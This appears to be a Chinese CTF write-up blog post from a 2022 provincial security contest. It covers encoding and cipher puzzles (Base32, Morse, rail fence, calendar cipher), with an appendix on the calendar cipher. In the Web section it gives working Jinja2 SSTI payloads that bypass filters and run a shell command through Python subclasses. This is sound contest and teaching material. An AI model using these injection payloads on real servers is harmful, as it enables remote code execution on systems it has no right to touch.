2022某省网络安全管理员职业技能大赛个人Writeup及日历密码原理

Misc

签到题

关注公众号,Base32解码即可

42WKF2F7R3SY7AXFRKQDEMBSGLS3TNHJTGK6RJN746OIDZ55SHT3XHHFV2E6LBNI46XKDZ4QQ3SZDGHIQGGOJOE242FIB2EDXXS2JJ7IWWNQUZTMMFTXWZJTGA2DANDFGFSWENDCMYZDKZJVGYYDAYZUGI2TKNZYGI3GCNDCPU======

解码得到

flag{e30404e1eb4bf25e5600c42557826a4b}

看看日历

下载得到MP3文件,查看波形图,疑似摩斯密码。

在这里插入图片描述

手撸摩斯密码:

-.- ..--- -.- ----- . ..--- -.-- ..--- .. ----- ... -....

解码得到:

K2K0E2Y2I0S6

解栅栏密码,密钥6

KKEYIS202206

得到密钥202206,根据日历密码得到

6 12 1 7 9 19 2 1 25 5 11
flagisbayek

bayek进行md5处理得到flag:

flag{e1ccac51692077f7895b4c2bdc908668}

Web

EZSS

进入页面,发现提示please get pid,尝试GET传参,发现回显参数值到页面了。
结合题目名称以及返回报文头的Server信息,初步判断是一道SSTI题目。

经过尝试,题目过滤了{{}},使用{%print %}来绕过,说明存在SSTI漏洞。

?pid={%print 7*7%}

在这里插入图片描述
题目还过滤了.,使用[request["args"]["a"]]来绕过。

查看可用的类:

?pid={%print+()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()%}&a=__class__&b=__bases__&c=__subclasses__

在这里插入图片描述

执行命令:

{%print ()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()[146]('whoami',shell=True,stdout=-1)["stdout"]["readlines"]() %}&a=__class__&b=__bases__&c=__subclasses__&d=__init__&f=communicate

在这里插入图片描述

在这里插入图片描述

附录

日历密码原理(附解密工具)

(1)数字1-26对应a-z共26个英文字母,因此日历密码只能加密英文字母,并且不区分大小写;

(2)M、T1、W、T2、F、S1、S2 分别代表周一到周日七天(英文首字母代替,首字母相同的星期使用1或2来区分);

(3)密钥为某年某月,即该月的日历为密码表,某天对应的日期为明文。

以本次赛题为例:

2022年6月为密钥,密文为M1 S22 W1 T11 T22 S23 T21 W1 S14 S21 S12

在这里插入图片描述

M1表示本月第一个星期一,对应日期是6号;
S22表示本月第二个星期日,对应日期是12号;
W1表示本月第一个星期三,对应日期是1号;

以此类推,得到解密后的字符串:

6 12 1 7 9 19 2 1 25 5 11

根据字母对应关系,得到明文flagisbayek

因为比赛时没有找到类似工具,人工解密还是需要一定时间的,赛后写了一个小工具,可以快速解密日历密码。

用Java写的,运行需要JDK环境,输入密文、密钥,点击解密即可:

在这里插入图片描述

工具地址:https://github.com/2ha0yuk7on/CalendarCryptoTool

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值